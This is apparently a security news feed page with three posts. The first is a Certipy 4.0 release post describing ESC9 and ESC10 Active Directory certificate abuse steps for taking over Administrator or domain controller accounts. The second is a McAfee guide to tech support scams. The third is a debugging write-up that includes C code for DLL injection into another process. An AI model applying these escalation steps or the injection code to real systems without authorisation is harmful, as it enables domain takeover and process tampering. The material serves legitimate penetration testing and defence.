Normal view

There are new articles available, click to refresh the page.
Before yesterdayVulnerabily Research

Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!

4 August 2022 at 18:23

Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!

A new version of Certipy has been released along with a forked BloodHound GUI that has PKI support! In this blog post, we will look at some of the major new features of Certipy, which includes LDAPS (Schannel) and SSPI authentication, new request options and methods, and of course support for the forked BloodHound GUI that I changed to have new nodes, edges, and prebuilt queries for AD CS. At the end of the blog post, we will also look at the two new privilege escalation techniques for AD CS: ESC9 and ESC10.

BloodHound x Certipy

The BloodHound team has delivered many impressive updates, and according to their release post on version 4.1 and version 4.2, Active Directory Certificate Services (AD CS) abuse primitives are on their road map and coming soon. However, it’s been 6 months since the release of version 4.1, so I decided to implement it myself into the BloodHound GUI. This also means that if you want to use the original version of the BloodHound GUI with Certipy, you’ll have to pass the -old-bloodhound option to Certipy’s find command, as the new BloodHound data output from Certipy is only compatible with the forked GUI. The forked version is based on the latest version of BloodHound (4.2.0, August 3, 2022) and requires neo4j ≥ 4.4.0. There’s also a forked version of BloodHound 4.1.1, which doesn’t require neo4j ≥ 4.4.0.

Now, let’s see a graph.

This graph was drawn by simply selecting the CA node and then clicking on “See Enabled Templates”, as shown below.

It’s of course also possible to easily view the object controllers of the CA like you would do with any other object.

The same is possible for certificate templates. Simply select the template and click “See Certificate Authorities”.

Want to see enrollment rights or object controllers? Also one click away.

This also comes with prebuilt queries so you don’t have to mess with your custom queries.

Even though the forked BloodHound GUI was mainly focused on PKI integration, I decided to add a few features that I personally like. For instance, you can now hover your mouse over a query and click the little “Copy” button to copy the query to your clipboard.

Once you’ve copied your query, you can paste and edit it in the new multi-lined “Raw Query” text area.

These are just some small features I personally enjoy, and I might add new ones. The source code can be found at https://github.com/ly4k/BloodHound/ and prebuilt binary releases can be found here. I’ll regularly pull commits from the upstream version so you don’t miss out on those features. If you have any additions, feel free to open an issue or create a pull request.

Old Is New Again

Now, back to Certipy. I have reintroduced and improved some old features of Certipy that I previously removed related to Certipy’s find command. For text and JSON based output, Certipy will now check for ESC1, ESC2, ESC3, ESC4, and the new ESC9 on certificate templates, and ESC6, ESC7, and ESC8 on certificate authorities based on the current user’s nested group memberships. Furthermore, if ms-DS-MachineAccountQuota is not 0 (default: 10) then Certipy will act as if the current user is also a member of the Domain Computers group, since the user will most likely be able to add a new domain computer. In addition to this, the find command now accepts the -vulnerable parameter to only show vulnerable certificate templates, and -hide-admins to hide administrators from the permissions for a cleaner output. These options only apply to text and JSON based output (-text and -json) and does not affect the BloodHound data.

For those who want a bit more stealth, the find command has also received the new -dc-only option to only connect the domain controller (DC). This means that Certipy will not connect to the CA to check for permissions, Web Enrollment, and request flags. This will affect the BloodHound data, and as shown below, Certipy cannot determine permissions, Web Enrollment, and request flags for the CA when this option is set — but it does not affect certificate templates since all this information is stored on the DC.

New Authentication Methods

Scannel (LDAPS)

Our good friends at FalconForce recently published a blog post on how to detect “UnPACing” — the technique used by Certipy and Rubeus during PKINIT Kerberos authentication to retrieve the NT hash. In the Certified Pre-Owned whitepaper, the authors, Will Schroeder and Lee Christensen, mention that Active Directory supports certificate authentication over two protocols by default: Kerberos and Secure Channel (Schannel). One protocol that supports client authentication via Schannel is LDAPS (LDAP over SSL/TLS) — assuming AD CS has been setup. As such, this is exactly what I’ve implemented into Certipy.

Once you’ve obtained your shiny new certificate, run the auth command like you’d usually do, but this time, specify the -ldap-shell option to drop into an interactive LDAP shell with a limited set of commands that should be enough to aid you in the right direction, for instance configuring Resource-based Constrained Delegation, adding a user to a group, reading LAPS, and more.

This command will connect to the domain controller, and instead of authenticating via Kerberos, Certipy will connect to LDAP and present the certificate during the StartTLS upgrade. It is worth noting that the type of certificate that can be used depends on the CertificateMappingMethods registry key.

This new feature is also relevant for ESC10 (see later in the post).

Windows Integrated Authentication (SSPI)

Now, imagine you just got code execution on a domain-joined machine. You could run your C2 agent, open a SOCKS proxy connection, and then run Certipy through that. The problem in this scenario is that you don’t know the credentials of your current user context. This has happened to me a few times. Instead, let me introduce Certipy’s new SSPI integration.

The first step is to get Certipy on your target machine. You could install Python and then Certipy, or you could just use something like PyInstaller (pyinstaller ./Certipy.spec) to pack it into an executable. Once you’ve done that, you can run all your usual commands, but instead of specifying username, password, and domain, you can just pass the -sspi option. This will make Certipy use your current user’s domain context for authentication by using Windows APIs to retrieve Kerberos tickets.

The -sspi flag can be used on all commands that require user credentials, e.g. find.

Now, -sspi is not the only new flag related to Windows authentication. The auth command now also accepts -print and -kirbi to print the ticket or save the ticket as Kirbi format — both outputs ready to be used for Rubeus. On top of this, if you would just like to inject your newly acquired domain administrator ticket into your current logon session, you can do that with the -ptt flag.

The same thing can be achieved by using -print with the auth command, and then passing the Base64 ticket to Certipy’s new ptt command in the -ticket option. The Base64 ticket can also be used for Rubeus.

The new ptt command can be used to inject tickets from a file or command line, but it can also be used to request a new TGT using credentials and inject the ticket into your logon session. This is useful if you’re not in a domain context and you don’t want to write the username, password, and domain for each command.

Change of Parameters

Certipy has also received a minor change on how a username, domain, password and target are specified. The username and domain is now specified in -username user@domain, and the password is specified in -password, whereas the target host can be specified in -target if required. Otherwise, the target will be derived from the domain. This change is because of the parsing logic related to usernames, password, domains, and targets in a single string that could prevent some usernames and passwords from being parsed correctly, for instance if the sAMAccountName or password contains an @ symbol.

New Request Methods

Web Enrollment

Some users of Certipy reported that during an engagement, they could only request certificates through the web interface and not via RPC. As such, I have implemented web based enrollment into Certipy for that exact reason. Currently, it supports both HTTP and HTTPS, but only with password or NTLM authentication. To request a certificate through the web interface, simply pass the -web option to your usual req command.

Double SAN

A feature request was sent to me to allow specifying a DNS host name instead of a UPN for the old -alt parameter. As such, the -alt parameter has been removed in favor of the two new parameters -upn and -dns. And it turns out that you can even specify both parameters in a single request.

Certipy will now print out all the account identifications found in the certificate. Now, what would happen if we tried to authenticate with this certificate?

Well, Certipy will now ask you which identification you wish to use. So can we have one certificate with identification for multiple users?

Yes, we can. As shown above, two different NT hashes were returned depending on the identification used. It is of course also possible to only specify a single identification.

Key Archival and Key Size

A user reported that a template had a different minimum key size than the one that was generated by Certipy. This will yield the error CERTSRV_E_KEY_LENGTH. Certipy now accepts the -key-size parameter to specify a different key size, as shown below.

While this was rather trivial to implement, another user reported that a certificate template was configured to require key archival. This is specified as CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL in the msPKI-Private-Key-Flag of the certificate template. Key archival means that the enrollee must send its private key during the request such that it can be stored in the CA database and later recovered by a Recovery Agent. For this, Microsoft requires that the private key will be embedded in a CMC (Certificate Management over CMS) request rather than a usual PKCS10 request. After reading the RFC and the sparse Microsoft-specific documentation, Certipy can finally overcome this issue.

This is a whole different type of request and protocol, that includes retrieving the CA Exchange Certificate, crafting undocumented ASN1 structures, encrypting the private key, and a few more headaches. Nonetheless, I wouldn’t want this single flag to stand in my (or your) way to becoming domain administrator during an engagement.

Other Features

You might also encounter some other unmentioned features — which might not seem that useful — that is merely a result of my own research. For instance, it’s possible to renew a certificate using an old certificate with the -renew parameter. Since I had already implemented all the structures and functionality, I thought I’d just add it to Certipy.

New Escalations

To understand the new escalations, we must first understand Microsoft’s patch for CVE-2022–26923.

My previously reported AD privilege escalation vulnerability “Certifried” (CVE-2022–26923) actually contained four different cases. The case described in my previous blog post was that it was possible to simply duplicate the DNS host name of a machine account. This would work from a low-privileged user in a default AD CS environment. However, I also reported three other closely related vulnerabilities that required a GenericWrite permission over a low-privileged account. These were not described in the previous blog post, but here’s a brief summary of the other cases:

  • Overwrite userPrincipalName of user to be <sAMAccountName> of target to hijack user account since the missing domain part does not violate an existing UPN
  • Overwrite userPrincipalName of user to be <sAMAccountName>@<domain> of target to hijack machine account since machine accounts don’t have a UPN
  • Delete userPrincipalName of user and overwrite sAMAccountName to be <sAMAccountName> without a trailing $ to hijack a machine account

These three cases are all related to how a certificate is mapped to an account during authentication. First of all, a missing domain part of the UPN doesn’t matter. Secondly, if the KDC can’t find an account where the userPrincipalName matches the UPN in the certificate, it will try to find an account where the sAMAccountName matches the UPN in the certificate. And lastly, if the userPrincipalName property doesn’t exist for the enrollee during the certificate request, it will build the UPN in the certificate based on the sAMAccountName. On top of this, if the KDC cannot find an account where the sAMAccountName matches the UPN in the certificate, it will simply add a $ at the end and try again, as we know from CVE-2021–42287/CVE-2021–42278.

So how did Microsoft fix this? First of all, they made sure that the “Validated write to DNS host name” permission on a machine account now only accepts a value that matches the sAMAccountName property. This means that it is still possible to duplicate the DNS host name of a domain controller (or another machine account) if you have GenericWrite over a machine account, as shown below.

This was tested against a fully patched domain controller where john only had GenericWrite over johnpc$.

On top of this, Microsoft implemented the new szOID_NTDS_CA_SECURITY_EXT security extension for issued certificates, which will embed the objectSid property of the requester. Furthermore, Microsoft created the new registry key values (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel) CertificateMappingMethods and (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc) StrongCertificateBindingEnforcement.

These security updates also broke our beloved ESC6. However, after the patch for CVE-2022–26923, Windows admins started reporting issues that certificated based authentication no longer worked in their environments due to the new security hardenings. On “/r/sysadmin” on Reddit, Windows admins shared workarounds for the issue by changing the values of the registry keys to be the de facto old values (just old values from now on). On top of this, Microsoft’s official workaround was to either manually map all the certificates to each user or to set the CertificateMappingMethods to the old value. Changing these registry keys to the old values will reintroduce ESC6 and introduce the new ESC10. So why are we interested in how a certificate is mapped to a user?

Certificate Mappings

As mentioned earlier, Active Directory supports certificate authentication over two protocols by default: Kerberos and Secure Channel (Schannel). As such, the two new registry keys StrongCertificateBindingEnforcement and CertificateMappingMethods correspond to Kerberos and Schannel, respectively.

Certificates can either be mapped via implicit or explicit mappings. For explicit mappings, the altSecurityIdentities property on an account object is configured to contain identifiers for a certificate, for instance the issuer and serial number. This way, when a certificate is used for authentication via explicit mapping, it must be signed by a trusted CA and then match the values specified in the altSecurityIdentities. On the other hand, when a certificate is used for authentication via implicit mapping, then the information from the certificate’s Subject Alternative Name (SAN) extension is used to map the certificate to an account, either the UPN or DNS field.

However, Schannel and Kerberos don’t use the same techniques for mapping a certificate implicitly. Let’s take a look at how a certificate is mapped implicitly for each protocol.

Kerberos Certificate Mapping

The new registry key value (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc) StrongCertificateBindingEnforcement is by default set to 1 now. Before the patch, this key did not exist, but the old value was 0, i.e. strong certificate binding was not enforced. This value can either be set to 0, 1, or 2.

If the value is 0, then no strong certificate mapping checks are done. This means that the new szOID_NTDS_CA_SECURITY_EXT certificate extension isn’t used for anything even though it’s embedded in the certificate — so certificate mapping in Kerberos is exactly as before the patch. Setting this value to 0 is not recommended by Microsoft, but according to BleepingComputer, this value fixed the authentication issues for a Windows admin.

If this value is 1 (default value after patch), the KDC checks if there is a strong certificate mapping (explicit). If yes, authentication is allowed. Otherwise, the KDC will check if the certificate has the new SID extension and validate it. If this extension is not present, authentication is allowed if the user account predates the certificate.

If this value is 2, the KDC checks if there’s a strong certificate mapping. If yes, authentication is allowed. Otherwise, the KDC will check if the certificate has the new SID extension and validate it. If this extension is not present, authentication is denied.

Microsoft is planning on setting this value to 2 by default on May 9, 2023 and removing the registry key value, such that a certificate must have a strong explicit mapping or the szOID_NTDS_CA_SECURITY_EXT extension to be used for authentication via Kerberos.

So, let’s say that the value is set to 0; how is a certificate then implicitly mapped? For this blog post, we are not interested in explicit mapping (altSecurityIdentities). When a certificate is used for authentication via Kerberos, the KDC will first verify that it is issued by a trusted CA and that the certificate can be used for client authentication. For implicit mappings, the KDC will then try to map the certificate to an account either via the UPN or DNS SAN value.

If the certificate contains a UPN with the value [email protected], the KDC will first try to see if there exists a user with a userPrincipalName property value that matches. If not, it checks if the domain part corp.local matches the Active Directory domain. If there is no domain part in the UPN SAN, i.e. the UPN is just john, then no validation is performed. Next, it will try to map the user part john to an account where the sAMAccountName property matches. If this also fails, it will try to add a $ to the end of the user part, i.e. john$, and try the previous step again (sAMAccountName). This means that a certificate with a UPN value can actually be mapped to a machine account.

If the certificate contains a DNS SAN and not a UPN SAN, then the KDC will split the DNS name into a user part and a domain part, i.e. johnpc.corp.local becomes johnpc and corp.local. The domain part is then validated to match the Active Directory domain, and the user part will be appended by a $ and then mapped to an account where the sAMAccountName property matches, i.e. johnpc will be looked up as johnpc$.

This certificate mapping is explained in MS-PKCA 3.1.5.2.1 and the DNS mapping is explained a bit more in depth in my previous blog post on CVE-2022–26923.

If the new registry key value StrongCertificateBindingEnforcement is set to 1 or 2, then the szOID_NTDS_CA_SECURITY_EXT certificate extension will be used to map the certificate to an account where the objectSid property matches. If the value is 1 and the extension is not present, then the mapping is performed as if the value was set to 0.

Schannel Certificate Mapping

Schannel will map the certificate a little bit differently than the KDC would. Let’s take a look at the possible values for the CertificateMappingMethods registry key value. This value is a DWORD that supports multiple values as a bit set. The new default value is 0x18 (0x8 and 0x10), whereas the old value was 0x1f (all of the below values).

  • 0x0001 — Subject/Issuer certificate mapping (explicit)
  • 0x0002 — Issuer certificate mapping (explicit)
  • 0x0004 —SAN certificate mapping (implicit)
  • 0x0008 — S4U2Self certificate mapping (Kerberos)
  • 0x0010 — S4U2Self explicit certificate mapping (Kerberos)

So, Schannel actually doesn’t support the new szOID_NTDS_CA_SECURITY_EXT extension directly. Instead, it will use S4U2Self to map the certificate via Kerberos, which then supports the szOID_NTDS_CA_SECURITY_EXT extension. However, this is performed as the last step if the other supported mappings fail. This means that if certificate contains a UPN or DNS name, and the CertificateMappingMethods contains the 0x4 value, then the szOID_NTDS_CA_SECURITY_EXT certificate extension and StrongCertificateBindingEnforcement registry value will have absolutely no influence on the certificate mapping via Schannel. This is a bit more interesting to us, since Microsoft officially suggested setting this registry key value to the old value 0x1f (all of the above methods) as an alternative to manually mapping all certificates if the security updates caused authentication issues: “If you experience authentication failures with Schannel-based server applications, we suggest that you perform a test. Add or modify the CertificateMappingMethods registry key value on the domain controller and set it to 0x1F and see if that addresses the issue.”

Now that we understand the patch for CVE-2022–26923, let’s look at the new ESCs and some examples.

ESC9 — No Security Extension

Description

ESC9 refers to the new msPKI-Enrollment-Flag value CT_FLAG_NO_SECURITY_EXTENSION (0x80000). If this flag is set on a certificate template, the new szOID_NTDS_CA_SECURITY_EXT security extension will not be embedded. ESC9 is only useful when StrongCertificateBindingEnforcement is set to 1 (default), since a weaker certificate mapping configuration for Kerberos or Schannel can be abused as ESC10 — without ESC9 — as the requirements will be the same.

Conditions:

  • StrongCertificateBindingEnforcement not set to 2 (default: 1) or CertificateMappingMethods contains UPN flag
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
  • Certificate specifies any client authentication EKU

Abuse

Please see the “Examples” section for a practical example. To abuse this misconfiguration, the attacker needs GenericWrite over any account A that is allowed to enroll in the certificate template to compromise account B (target).

ESC10 — Weak Certificate Mappings

Description

ESC10 refers to two registry key values on the domain controller.

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel CertificateMappingMethods. Default value 0x18 (0x8 | 0x10), previously 0x1F.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement. Default value 1, previously 0.

Case 1

StrongCertificateBindingEnforcement set to 0

Case 2

CertificateMappingMethods contains UPN bit (0x4)

Abuse

Please see the “Examples” section for practical examples for each case. To abuse these misconfigurations, the attacker needs GenericWrite over any account A that is allowed to enroll in a certificate with client authentication to compromise account B (target).

Unfortunately, these registry keys cannot be read by a low-privileged user remotely. However, if you ever find yourself in a scenario, where you have GenericWrite over any account, it might be worth trying each abuse case nonetheless.

Examples

ESC9

Conditions:

  • StrongCertificateBindingEnforcement set to 1 (default) or 0
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
  • Certificate specifies any client authentication EKU

Requisites:

  • GenericWrite over any account A to compromise any account B

In this case, [email protected] has GenericWrite over [email protected], and we wish to compromise [email protected]. [email protected] is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

First, we obtain the hash of Jane with for instance Shadow Credentials (using our GenericWrite).

Next, we change the userPrincipalName of Jane to be Administrator. Notice that we’re leaving out the @corp.local part.

This is not a constraint violation, since the Administrator user’s userPrincipalName is [email protected] and not Administrator.

Now, we request the vulnerable certificate template ESC9. We must request the certificate as Jane.

Notice that the userPrincipalName in the certificate is Administrator and that the issued certificate contains no “object SID”.

Then, we change back the userPrincipalName of Jane to be something else, like her original userPrincipalName [email protected].

Now, if we try to authenticate with the certificate, we will receive the NT hash of the [email protected] user. You will need to add -domain <domain> to your command line since there is no domain specified in the certificate.

And voilà.

ESC10(Case 1)

Conditions:

  • StrongCertificateBindingEnforcement set to 0

Requisites:

  • GenericWrite over any account A to compromise any account B

In this case, [email protected] has GenericWrite over [email protected], and we wish to compromise [email protected]. The abuse steps are almost identical to ESC9, except that any certificate template can be used.

First, we obtain the hash of Jane with for instance Shadow Credentials (using our GenericWrite).

Next, we change the userPrincipalName of Jane to be Administrator. Notice that we’re leaving out the @corp.local part.

This is not a constraint violation, since the Administrator user’s userPrincipalName is [email protected] and not Administrator.

Now, we request any certificate that permits client authentication, for instance the default User template. We must request the certificate as Jane.

Notice that the userPrincipalName in the certificate is Administrator.

Then, we change back the userPrincipalName of Jane to be something else, like her original userPrincipalName [email protected].

Now, if we try to authenticate with the certificate, we will receive the NT hash of the [email protected] user. You will need to add -domain <domain> to your command line since there is no domain specified in the certificate.

ESC10(Case 2)

Conditions:

  • CertificateMappingMethods contains UPN bit flag (0x4)

Requisites:

  • GenericWrite over any account A to compromise any account B without a userPrincipalName property (machine accounts and built-in domain administrator Administrator)

In this case, [email protected] has GenericWrite over [email protected], and we wish to compromise the domain controller [email protected].

First, we obtain the hash of Jane with for instance Shadow Credentials (using our GenericWrite).

Next, we change the userPrincipalName of Jane to be [email protected].

This is not a constraint violation, since the DC$ computer account does not have userPrincipalName.

Now, we request any certificate that permits client authentication, for instance the default User template. We must request the certificate as Jane.

Then, we change back the userPrincipalName of Jane to be something else, like her original userPrincipalName ([email protected]).

Now, since this registry key applies to Schannel, we must use the certificate for authentication via Schannel. This is where Certipy’s new -ldap-shell option comes in.

If we try to authenticate with the certificate and -ldap-shell, we will notice that we’re authenticated as u:CORP\DC$. This is a string that is sent by the server.

One of the available commands for the LDAP shell is set_rbcd which will set Resource-Based Constrained Delegation (RBCD) on the target. So we could perform a RBCD attack to compromise the domain controller.

Alternatively, we can also compromise any user account where there is no userPrincipalName set or where the userPrincipalName doesn’t match the sAMAccountName of that account. From my own testing, the default domain administrator [email protected] doesn’t have a userPrincipalName set by default, and this account should by default have more privileges in LDAP than domain controllers.

Conclusion

In this blog post, we looked at some new features of Certipy and the forked BloodHound GUI that I changed to have full PKI support. Furthermore, we looked at the new ESCs — which are not as juicy as ESC1 or ESC8 — but I have seen many environments where everyone or a specific group had GenericWrite over a single user or computer. On top of this, we might see more and more admins change these registry key values or enabling the vulnerable flag on a template — simply because it makes thing work — just like ESC6.

If you have any questions, feel free to message me on Twitter (@ly4k_). In the next blog post, we’ll look at two Windows privilege escalation vulnerabilities in the Print Spooler (CVE-2022–29104 & CVE-2022–30138). This is an interesting technique that might work for other services, and the NSA was subsequently acknowledged for reporting these vulnerabilities as well. A presto!


Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more! was originally published in IFCR on Medium, where people are continuing the conversation by highlighting and responding to this story.

Technical Support Scams – What to look out for

2 August 2022 at 23:22

Authored by Oliver Devane

Technical Support Scams have been targeting computer users for many years. Their goal is to make victims believe they have issues needing to be fixed, and then charge exorbitant fees, which unfortunately some victims pay. This blog post covers a number of example actions, that scammers will go through when they are performing their scams. Our goal is to educate consumers on the signs to look out for, and what to do if they believe they are being scammed.

Advertising – The Lure

For a tech support scammer to reach their victims, they need to first find them (or be found by them). One technique we see includes scammers creating Twitter or other social media accounts that post messages claiming to be from the official technical support site. For example, a Twitter account will post a tweet with the hashtags #McAfee and #McAfeeLogin to drive traffic to the tweet and make victims believe the links are legitimate and safe to click.

Scammers behind tech support scams can create very convincing websites which mimic the official ones.

Some fraudulent websites use the McAfee logo or other company logos to try trick individuals. They often invite clicking on a ‘LOGIN’ or ‘ACTIVATE’ link with a similar color scheme to official sites to appear legitimate.

These sites may then ask the victim to enter their real username, password, and phone number. Upon entering these details, websites will usually show an error message to make the victim believe there is an issue with their account.

 

The error message will usually contain a link that upon clicking will load a chat box where the scammers will initiate a conversation with the victim. At this point, the scammers will have the phone number and email address associated with the victim. They will use this to contact them and make them believe they are an official technical support employee.

Gaining Access

The scammer’s next objective is often to gain access to the victim’s computer. They do this so that they can trick the victim into believing there is an issue with their computer and that they need their support services to fix it.

The scammers will do this by either asking the victim to enter a URL that will result in the download of a remote access tool or by providing them with a link in the chat window if they are still speaking to them on the fake support website.

A remote access tool will enable the scammer to take complete control of the victim’s machine. With this, they will be able to remove or install software, access personal data such as documents and cryptocurrency wallets as well as dump passwords from the web browsers so they can then access all the victim’s accounts.

It is vital to not provide remote access to your computer to unknown and unverified individuals, as there could be a big risk to your personal data. Some examples of remote access tools that have legitimate uses but are often used to perpetrate fraud are:

  • TeamViewer
  • LogMeIn
  • AnyDesk
  • Aweray (Awesun)

Activity once the connection is established

If the scammers are given access to the victim’s machine, they will often make use of the command filename cmd.exe to perform some visual activity on the computer screen which is done to attempt to trick the individual into believing that some malicious activity is occurring on their computer or network. Most people will be unaware of the filename cmd.exe and the actions being used,and thus will be none the wiser to the scammer’s actions.

Here are some examples we have seen scammers use:

Title

Changing the title of cmd.exe to ‘network scanner’ or ‘file scanner’ to make the victim believe they are running a security tool on their machine.

Directory enumeration

Scammers will make use of standard functions within the cmd.exe file, to make their victims believe they are performing lots of activity. One of these functions is ‘dir’ which will  display  all the files for a specific directory. For example, if you have a folder called ‘school work’ and have 2 word documents in there, a ‘dir’ query of that folder will appear like this:

What the scammers will do is make use of ‘dir’ and the title function to make you believe they are scanning your machine. Here is an example of running ‘dir’ on the all the files on a machine with the cmd.exe title set to ‘File Scanner’:

Tree

A similar function to ‘dir’ called ‘tree’ may also be used. The ‘tree’ function will display directory paths and will generate lots of events on the screen:

Tech Support Phone Number

Some scammers will also add their phone number to the taskbar of the victim’s machine. They do this by creating a new folder with the phone number as the name and adding it as a toolbar. This is shown in the image below

Software Installation

Scammers may install other software on the victim’s machine or make them believe that they have installed additional software which they will then be charged for.

For example, some scammers may add programs to the desktop of victims which have no purpose, but the scammers insist they are legitimate security tools such as firewalls or network scanners.

Some example filenames are:

  • Firewall security.exe
  • Network firewall.exe
  • Network security.exe
  • Email security.exe
  • Banking security.exe

Payment

The scammers will usually perform some activity on your machine before asking for payment. This is done to build confidence in their work and make you believe they have done some activity and therefore deserve some sort of payment. Do not be fooled by scammers who have not performed any useful activity.  As detailed in the previous sections, be careful not to fall victim to fake social media accounts or websites.

Signs to look out for

This section contains a few signs to look out for which may indicate that you are interacting with a scammer.

Rude/Short

Some scammers will become rude and very short with you if you start questioning what they are doing. They may say that you are not technical and do not understand what is occurring. This would not be the behavior of a legitimate technical support operative.

Leave the computer on

Scammers will encourage you to leave the machine and remote connection on even if you need to go out and leave it unattended. Do not under any circumstances do this as they would then be free to do any activity they wish on your machine and network.

Created files being detected

Some files added to your machine by the scammer may be detected by the AV security software. They may act like this is an error and the file is innocent. If you have initiated a remote connection and the controller creates a file on your machine which is detected by the security software, we recommend ceasing the interaction as detailed below.

What to do

The following steps should be performed if you believe you are being scammed as part of a tech support scam.

Disconnect the machine from the internet

If the machine is connected via a network cable, the easiest way is to unplug it. If the machine is connected via Wi-Fi, there may be a physical switch that can be used to disconnect it. If there is no physical switch, turn off Wi-Fi through the settings or the computer. It  can be powered down by pressing the power button.

Hang up

Hang up the phone (or end the chat) and do not answer any more calls from that number. The scammer will try to make you believe that the call is legitimate and ask you to reconnect the remote-control software.

Remove the remote-control software

If the scammer was controlling your machine, the remote-control software will need to be removed. If the computer was powered down, it can be powered back up, but if a popup is shown asking for permission to allow remote access, do not grant it.

The remote software can usually be removed by using the control panel and add/remove programs. To do this, press the Windows key and then perform a search for ‘remove’ and click on ‘Add or remove programs’.

Sort the programs by install date as shown below and then remove the remote software by clicking on the ‘Uninstall’ button.  Keep in mind that the software installed on your computer may appear by a different name, but if you look at what was installed on the same day as the scammer initiated the remote control session, you should be able to identify it.

Check the Antivirus Software for any exclusions

Some scammers may add exclusions for the files they create on your computer so that they are not detected by the security software. We recommend checking the exclusions and if any are present which were not added by yourself to remove them.

A guide for McAfee customers is available here

Update Antivirus Software and perform a full scan

After removing any software which was installed, we recommend updating your security software and performing a full scan. This will identify any malicious files created by the scammer such as password stealers and keyloggers.

Change passwords

After performing a full scan, we recommend changing all of your passwords as the scammer may have gathered your credentials while they had access to your computer. It is recommended to do this after performing a full scan as the scammers may have placed a password stealer on the computer and any new passwords you enter may also be stolen.

Conclusion

This blog post contains a number of examples that scammers may use to trick consumers into believing that they may have issues with their devices. If you are experiencing issues with your computer and want to speak to official McAfee support, please reach out via the official channel which is https://service.mcafee.com/.

The McAfee support pages can also be accessed directly via the McAfee Total Protection screen as shown below:

McAfee customers utilizing web protection (including McAfee Web Advisor) are protected from known malicious sites.

The post Technical Support Scams – What to look out for appeared first on McAfee Blog.

Discover an AntiDebug feature: a newbie approach

By: s1ckb017
30 July 2022 at 00:00

This blogpost shows the way I understod where the anti debug check were implemented with a basic, I would say, tending to 0, knowledge on Windows Internals. I started from a problem: the target process I wanted to attach was protected by a kind of watchdog. Did not know if the watchdog was in kernel space or in user space. During this journey, I learnt something about Windows internals, x64dbg/titan engine internals and improved windbg usage.

Problem: Access DENIED to process

I wanted to debug a service running with elevated privilege, i.e. SYSTEM, but this seems to be impossible even using x32dbg run as SYSTEM user.

Running x32dbg with system privileges and attaching to the process results in an ACCESS DENIED error. The PID to debug is 4056.

So, to understand where the debugger received the ACCESS DENIED, I started digging into the procedure used by the debugger to attach and debug a process.

First thing, I did, is to put a bp on ntOpenProcess(). I was pretty sure that ntOpenProcess() was the first involved routine. In the following image is clear that the debugger under debug is opening the target process.



The ntOpenProcess() returns a valid handle, as shown in the image, this suggested that the process is correctly opened.


So, then I cross searched in titan engine and in the x64 debugger source code where this call happens and what there is after. After some research I found that the failing function was DbgUiDebugActiveProcess_(IN HANDLE Process)), i.e. the systemcall NtDebugActiveProcess() returned ACCESS DENIED


This is a function exported by ntdll.dll and ends directly in kernel space without any intermediate. Moreover, checking the target binary statically seems that did not exists any anti debug trick implemented inside. </br>

` OpenProcess() returns no error + NtDebugActiveProcess() return ACCESS DENIED + No anti debug in target binary -> check most likely in kernel space `
Just to see if some of these functions is called and cause an access denied.

Test case

At this point, I focused my research on kernel space in order to check why that routine return ACCESS DENIED even though the process has been correctly opened. If exists some anti debug trick in kernel space that would not allow to debug a process then it would deny any injection too. So, to have a better test case I wrote a small snippet in C that open a process and inject a DLL.

	HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, false, pId);
	if (h) {
		printf("[+] Process %d Opened handle no. %08x\n", pId, (unsigned int)h);
		LPVOID LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
		printf("[+] LoadLibraryA address: %p\n", LoadLibAddr);
		getchar();
		LPVOID dereercomp = VirtualAllocEx(h, NULL, strlen(dllName)+1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
		if (dereercomp == NULL)
		{
			fprintf(stderr, "[-] Impossible allocate new memory in the target process %d\n", GetLastError());
			return 1;
		}
		printf("[+] Alloced space on: %p\n", dereercomp);
		if (!WriteProcessMemory(h, dereercomp, dllName, strlen(dllName), NULL)) {
			fprintf(stderr, "[-] Impossible writing in process memory %d\n", GetLastError());
			return 1;
		}
		else {
			printf("[+] Process memory correctly written\n");
		}
		HANDLE asdc = CreateRemoteThread(h, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, dereercomp, 0, NULL);
		printf("[+] Remote Thread Output: %d %d\n", asdc, GetLastError());
		WaitForSingleObject(asdc, INFINITE);
		VirtualFreeEx(h, dereercomp, strlen(dllName), MEM_RELEASE);
		CloseHandle(asdc);
		CloseHandle(h);
		return 0;
	}


Running the test case against the process pid from an elevated powershell results in ACCESS DENIED too on VirtualAllocEx() routine.



Windows Kernel Debugging: searching for the anti debug


At this point, I started to debug the windows kernel using windbg, so I decided, firstly to inspect a bit the target process.

kd> !process 0xfd8
Searching for Process with Cid == fd8
PROCESS ffffc20239807080
    SessionId: 0  Cid: 0fd8    Peb: 00256000  ParentCid: 0270
    DirBase: 1ce063000  ObjectTable: ffff89020ea49180  HandleCount: 357.
    VadRoot ffffc2023704ee50 Vads 163 Clone 0 Private 1876. Modified 125. Locked 0.
    DeviceMap ffff890205035ae0
    Token                             ffff89020e225060
    ElapsedTime                       17:06:01.856
    UserTime                          00:00:00.312
    KernelTime                        00:00:00.187
    QuotaPoolUsage[PagedPool]         628552
    QuotaPoolUsage[NonPagedPool]      23512
    Working Set Sizes (now,min,max)  (56976, 50, 345) (227904KB, 200KB, 1380KB)
    PeakWorkingSetSize                84807
    VirtualSize                       322 Mb
    PeakVirtualSize                   419 Mb
    PageFaultCount                    126060
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      11044


According to flags, BeingDebugged and NtGlobalFlag, contained in the process environment block data structure, seems that the process is not currently under debug of another process.

A great article on this topic is provided by CheckPoint Research

kd> .process /p ffffc20239807080; !peb 00256000
